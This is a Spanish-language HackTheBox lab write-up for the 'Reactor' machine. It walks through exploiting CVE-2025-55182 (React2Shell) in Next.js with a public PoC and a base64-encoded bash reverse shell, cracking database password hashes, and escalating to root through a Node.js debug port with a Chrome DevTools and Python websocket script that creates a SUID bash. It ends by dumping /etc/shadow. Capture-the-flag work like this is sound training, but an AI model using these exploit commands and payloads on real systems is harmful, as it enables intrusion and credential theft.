This page looks best with JavaScript enabled

HackTheBox - Reactor

 •  ✍️ sckull

Reactor expone una aplicacion web donde se identifico y exploto la vulnerabilidad React2Shell para acceso inicial. Credenciales en la base de datos permitieron el acceso por SSH. Finalmente se escalaron privilegios abusando de un proceso node ejecutado como root en modo debug, mediante Chrome y Python.

Nombre Reactor
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2026-05-23
IP 10.129.105.243
Maker

tejas3008

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [1611, 2064, 5274, 2650, 1020, 309, 224, 70, 26, 71],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (3000) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Nmap 7.99 scan initiated Sat May 23 20:52:07 2026 as: /usr/lib/nmap/nmap --privileged -p22,3000 -sV -sC -oN nmap_scan 10.129.105.243
Nmap scan report for 10.129.105.243
Host is up (0.24s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sun, 24 May 2026 02:57:06 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sun, 24 May 2026 02:57:08 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.99%I=7%D=5/23%Time=6A1267E4%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,2A30,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Sun,\x2024\x20May\x202026\x2002:57:06\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Sun,
SF:\x2024\x20May\x202026\x2002:57:08\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Sun,\x2024\x20May\x202026\x2002:57:08\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 23 20:52:40 2026 -- 1 IP address (1 host up) scanned in 32.58 seconds

Los headers del puerto 3000 muestran X-Powered-By: Next.js lo que indica la tecnologia utilizada.

WebSite

En el puerto 3000 se muestra el contenido que sirve la aplicacion NextJS.

image

Wappalyzer muestra los frameworks React y Nextjs 15.0.3.

image

Directory Brute Forcing

feroxbuster muestra contenido estatico y archivos de la aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ feroxbuster -u http://10.129.105.243:3000/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.105.243:3000/
 🚩  In-Scope Url          │ 10.129.105.243
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l      120w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308      GET        1l        1w       17c http://10.129.105.243:3000/_next/static/css/ => http://10.129.105.243:3000/_next/static/css
308      GET        1l        1w        6c http://10.129.105.243:3000/_next/ => http://10.129.105.243:3000/_next
308      GET        1l        1w       13c http://10.129.105.243:3000/_next/static/ => http://10.129.105.243:3000/_next/static
200      GET        1l       66w     3329c http://10.129.105.243:3000/_next/static/chunks/webpack-db0a529a99835594.js
200      GET        1l        2w      463c http://10.129.105.243:3000/_next/static/chunks/main-app-4fbb4b1f318e39a0.js
200      GET        1l       85w     6707c http://10.129.105.243:3000/_next/static/css/414e1be982bc8557.css
308      GET        1l        1w       20c http://10.129.105.243:3000/_next/static/chunks/ => http://10.129.105.243:3000/_next/static/chunks
200      GET        1l     2125w   112594c http://10.129.105.243:3000/_next/static/chunks/polyfills-42372ed130431b0a.js
200      GET        1l     2979w   166088c http://10.129.105.243:3000/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js
200      GET        2l     4694w   181180c http://10.129.105.243:3000/_next/static/chunks/517-d083b552e04dead1.js
200      GET        1l      337w    17175c http://10.129.105.243:3000/
308      GET        1l        1w        8c http://10.129.105.243:3000/cgi-bin/ => http://10.129.105.243:3000/cgi-bin
❯

CVE-2025-55182

Basandonos en la version de NextJS encontramos una vulnerabilidad que afecta a React y NextJS, a esta vulnerabilidad se le conoce como React2Shell, que explota los React Server Components (RSC).

Exploit

Clonamos un repositorio con un PoC para esta vulnerabilidad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ git clone https://github.com/pkrasulia/CVE-2025-55182-NextJS-RCE-PoC.git
Cloning into 'CVE-2025-55182-NextJS-RCE-PoC'...
remote: Enumerating objects: 38, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 38 (delta 9), reused 35 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (38/38), 2.47 MiB | 7.97 MiB/s, done.
Resolving deltas: 100% (9/9), done.
❯ cd CVE-2025-55182-NextJS-RCE-PoC
❯ ls
 app   public   eslint.config.mjs   exploit.js   next.config.js   package-lock.json   package.json   postcss.config.mjs   README.md   tsconfig.json
❯

Ejecutamos el exploit especificando un ping a nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ node exploit.js http://10.129.105.243:3000 'ping -c 2 10.10.14.15'

🚀 Launching exploit against: http://10.129.105.243:3000
🎯 Target command: ping -c 2 10.10.14.15
📝 Injecting JS code: (function(){
        try {
            var res = process.mainModule.require("child_process").execSync("ping -c 2 10.10.14.15").toString();
            console.log("\n[+] RCE RESULT:\n" + res);
            throw new Error("[+] RCE SUCCESS: " + res);
        } catch(e) {
            console.log(e);
            throw e;
        }
    })()
[*] Sending packet...
⏱️  Response time: 1.79 sec
[+] HTTP Status: 500 Internal Server Error
✅ PROBABLE SUCCESS: Received 500 error (expected for RCE).
   Check if the command executed!
❯

tcpdump muestra trafico ICMP.

1
2
3
4
5
6
7
8
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:28:25.544513 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20518 unreachable, length 97
21:28:25.544550 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20710 unreachable, length 96
21:28:25.782671 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20518 unreachable, length 100
21:28:28.282040 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20679 unreachable, length 68
21:28:28.290949 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20848 unreachable, length 48

User - node

Ejecutamos nuevamente, pero esta vez especificando una shell inversa, logrando el acceso como node.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# node exploit.js http://10.129.105.243:3000 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS8xMzM1IDA+JjEK | base64 -d | bash'
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.105.243: inverse host lookup failed: Unknown host
connect to [10.10.14.15] from (UNKNOWN) [10.129.105.243] 36480
bash: cannot set terminal process group (1406): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$ whoami;id;pwd
whoami;id;pwd
node
uid=999(node) gid=988(node) groups=988(node)
/opt/reactor-app
node@reactor:/opt/reactor-app$

Database

En el directorio de la aplicacion encontramos el archivo .env que almacena una API Key y la direccion de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
node@reactor:/opt/reactor-app$ ls -lah
total 76K
drwxr-xr-x  5 node node 4.0K Dec 28 21:05 .
drwxr-xr-x  4 root root 4.0K Apr 27 11:26 ..
drwxr-xr-x  2 node node 4.0K Dec 28 20:47 app
-rw-r--r--  1 node node  276 Dec 28 21:05 .env
drwxr-xr-x  7 node node 4.0K Dec 28 20:47 .next
-rw-r--r--  1 node node  172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node 4.0K Dec 28 20:47 node_modules
-rw-r--r--  1 node node  269 Dec 28 20:47 package.json
-rw-r--r--  1 node node  29K Dec 28 20:47 package-lock.json
-rw-r-----  1 node node  12K Dec 28 21:03 reactor.db
node@reactor:/opt/reactor-app$ cat .env
# ReactorWatch Configuration
# Database connection for sensor data

DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3

# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook

# Node environment
NODE_ENV=production
node@reactor:/opt/reactor-app$

La base de datos muestra dos hashes de usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
.open reactor.db
.tables
sensor_logs  users      
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
.exit
$

crackstation muestra unicamente el hash de engineer.

Hash Type Result
a203b22191d744a4e70ada5c101b17b8 Unknown Not found
39d97110eafe2a9a68639812cd271e8e md5 reactor1

Verificamos que las credenciales son validas por SSH.

1
2
3
4
❯ nxc ssh 10.129.105.243 -u engineer -p reactor1
SSH         10.129.105.243  22     10.129.105.243   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16
SSH         10.129.105.243  22     10.129.105.243   [+] engineer:reactor1  Linux - Shell access!
❯

User - Engineer

Con las credenciales logramos una shell como engineer y realizamos la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ssh engineer@10.129.105.243
The authenticity of host '10.129.105.243 (10.129.105.243)' can't be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.105.243' (ED25519) to the list of known hosts.
engineer@10.129.105.243's password: 
 ____  _____    _    ____ _____ ___  ____  
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \ 
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ < 
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    
    AUTHORIZED PERSONNEL ONLY
Last login: Sun May 24 03:58:41 2026 from 10.10.14.15
engineer@reactor:~$ whoami;pwd;id
engineer
/home/engineer
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt 
1592583354e18cf2f60c334317c960af
engineer@reactor:~$

Privesc

Encontramos el proceso node siendo ejecutado como root con la flag --inspect, la cuall crea un websocket para depuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
engineer@reactor:/$ ps -ef | grep root
root           1       0  0 02:52 ?        00:00:02 /sbin/init
root           2       0  0 02:52 ?        00:00:00 [kthreadd]
# ... skip ...
root        1112       2  0 02:52 ?        00:00:00 [kworker/R-crypt]
root        1400       1  0 02:52 ?        00:00:00 /usr/sbin/cron -f -P
root        1409       1  0 02:52 ?        00:00:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
root        1425       1  0 02:52 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1560       2  0 03:03 ?        00:00:00 [kworker/u258:2-flush-252:0]
root        1604       2  0 03:20 ?        00:00:00 [kworker/u257:1-writeback]
root        1609       2  0 03:20 ?        00:00:00 [kworker/0:0-cgroup_release]
root        1621       1  0 03:20 ?        00:00:00 /usr/libexec/upowerd
root        1637       2  0 03:25 ?        00:00:01 [kworker/1:2-events]
# ... skip ...
root        1781    1701  0 04:01 ?        00:00:00 sshd: engineer [priv]
engineer    1816    1765  0 04:02 pts/0    00:00:00 grep --color=auto root
engineer@reactor:/$ cat /opt/uptime-monitor/worker.js

El script escribe en un archivo .csv el estado de la aplicacion del puerto 3000.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
const http = require('http');
const fs = require('fs');

const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;

function csvEscape(value) {
    const s = String(value ?? '');
    return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}

function record({ status, latency, size, error }) {
    const row = [
        new Date().toISOString(),
        status ?? '',
        latency ?? '',
        size ?? '',
        error ?? '',
    ]
        .map(csvEscape)
        .join(',') + '\n';

    fs.appendFileSync(CSV_FILE, row);
}

function probe() {
    const start = process.hrtime.bigint();
    let bytes = 0;

    const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
        res.on('data', (chunk) => {
            bytes += chunk.length;
        });

        res.on('end', () => {
            const latencyMs = Number(
                (process.hrtime.bigint() - start) / 1_000_000n
            );

            record({
                status: res.statusCode,
                latency: latencyMs,
                size: bytes,
            });
        });
    });

    req.on('error', (error) => {
        const latencyMs = Number(
            (process.hrtime.bigint() - start) / 1_000_000n
        );

        record({
            latency: latencyMs,
            error: error.code || error.message,
        });
    });

    req.on('timeout', () => {
        req.destroy();

        record({
            latency: TIMEOUT_MS,
            error: 'TIMEOUT',
        });
    });
}

setInterval(probe, INTERVAL_MS);
probe();

console.log('uptime-monitor up, pid=' + process.pid);

Se observa el contenido del archivo y el puerto local (9229) en escucha para depuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
engineer@reactor:~$ ls -lah /var/log/uptime-monitor.csv
-rw-r--r-- 1 root root 11K May 24 04:14 /var/log/uptime-monitor.csv
engineer@reactor:~$ head /var/log/uptime-monitor.csv   
2026-05-18T10:39:16.724Z,200,6,17175,
2026-05-18T11:38:16.946Z,,44,,ECONNREFUSED
2026-05-18T11:38:46.985Z,200,63,17175,
2026-05-18T11:43:36.892Z,,92,,ECONNREFUSED
2026-05-18T11:46:30.195Z,,64,,ECONNREFUSED
2026-05-18T11:47:00.208Z,200,57,17175,
2026-05-18T11:47:30.180Z,200,9,17175,
2026-05-18T12:15:02.927Z,,85,,ECONNREFUSED
2026-05-18T12:15:32.921Z,200,65,17175,
2026-05-18T12:16:00.589Z,200,10,17175,
engineer@reactor:~$ netstat -ntpl
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9229          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::3000                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
engineer@reactor:~$

Port Forwarding

Realizamos port forwarding con ssh para obtener el puerto 9229 localmente.

1
2
3
❯ ssh engineer@10.129.105.243 -L 9229:127.0.0.1:9229 -fN
engineer@10.129.105.243's password: 
❯

Shell via Chrome

Utilizamos Chrome para interactuar con el websocket. En chrome://inspect observamos la aplicacion ya listada, ya que el puerto 9229 es por default.

image

Al darle Trace se abren las herramientas de desarrollador donde podemos escribir y ejecutar codigo en la consola.

1
process.mainModule.require('child_process').execSync('whoami').toString();

Observamos la ejecucion de whoami.

image

Realizamos una copia de bash con permisos SUID.

1
process.mainModule.require('child_process').execSync('cp /usr/bin/bash /usr/bin/sc; chmod +s /usr/bin/sc').toString();

Ejecutamos la copia SUID con -p, logrando acceso root y la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
engineer@reactor:~$ /usr/bin/sc -p
engineer@reactor:~$ /usr/bin/sc -p
sc-5.2# whoami;id
root
uid=1000(engineer) gid=1000(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd),1000(engineer)
sc-5.2# cd /root
sc-5.2# ls
root.txt
sc-5.2# cat root.txt 
d93040125a04d799bb30db65d6e96ef3
sc-5.2#

Shell via Python

Basado en DevTools Protocol listamos los websockets disponibles, se observa el archivo en ejecucion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ curl -s http://127.0.0.1:9229/json/list | jq
[
  {
    "description": "node.js instance",
    "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059",
    "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059",
    "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
    "id": "3797f5e4-761b-4f7d-92f4-403b18f93059",
    "title": "/opt/uptime-monitor/worker.js",
    "type": "node",
    "url": "file:///opt/uptime-monitor/worker.js",
    "webSocketDebuggerUrl": "ws://127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059"
  }
]
❯

Utilizamos python para obtener la lista y ejecutar comandos directamente con el websocket.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import json, requests, websocket

URL = "http://127.0.0.1:9229/json/list"

ws_url = requests.get(URL).json()[0]["webSocketDebuggerUrl"]
ws = websocket.create_connection(ws_url)

data = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "process.mainModule.require('child_process').execSync('whoami').toString();"
    }
}

ws.send(json.dumps(data))

r = json.loads(ws.recv())["result"]["result"]["value"]
print(r)

ws.close()

La ejecucion muestra el resultado.

1
2
3
4
❯ python devtools_cn.py
root

❯ 

Ejecutamos nuevamente igual que antes.

1
2
3
4
5
# cp /usr/bin/bash /usr/bin/bs; chmod +s /usr/bin/bs; ls -lah /usr/bin/bs
❯ python devtools_cn.py
-rwsr-sr-x 1 root root 1.4M May 24 05:16 /usr/bin/bs

❯

Esto permitio obtener acceso root.

1
2
3
4
engineer@reactor:~$ /usr/bin/bs -p
bs-5.2# whoami
root
bs-5.2#

Loot

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
sc-5.2# cat /etc/shadow
root:$y$j9T$eJAH7p7TxU.lFZFC0WOND/$1mw1NhZtJOB7JXVTdKmWM0jn1SjtF4ykv.7poV98dF.:20450:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20450::::::
sshd:!:20450::::::
engineer:$6$tg15Yw9VXUvmSi4n$8hIU2q5IigHeoXEqQWDjtphs6Ed5/ZC5bZz2SI.dxwB1nDJEL4wqQgQm6Cqdiue6Xm24csSe.CSDBDFTJPyRk0:20450:0:99999:7:::
node:!:20450::::::
_laurel:!:20591::::::
sc-5.2#
Share on

Dany Sucuc
WRITTEN BY
sckull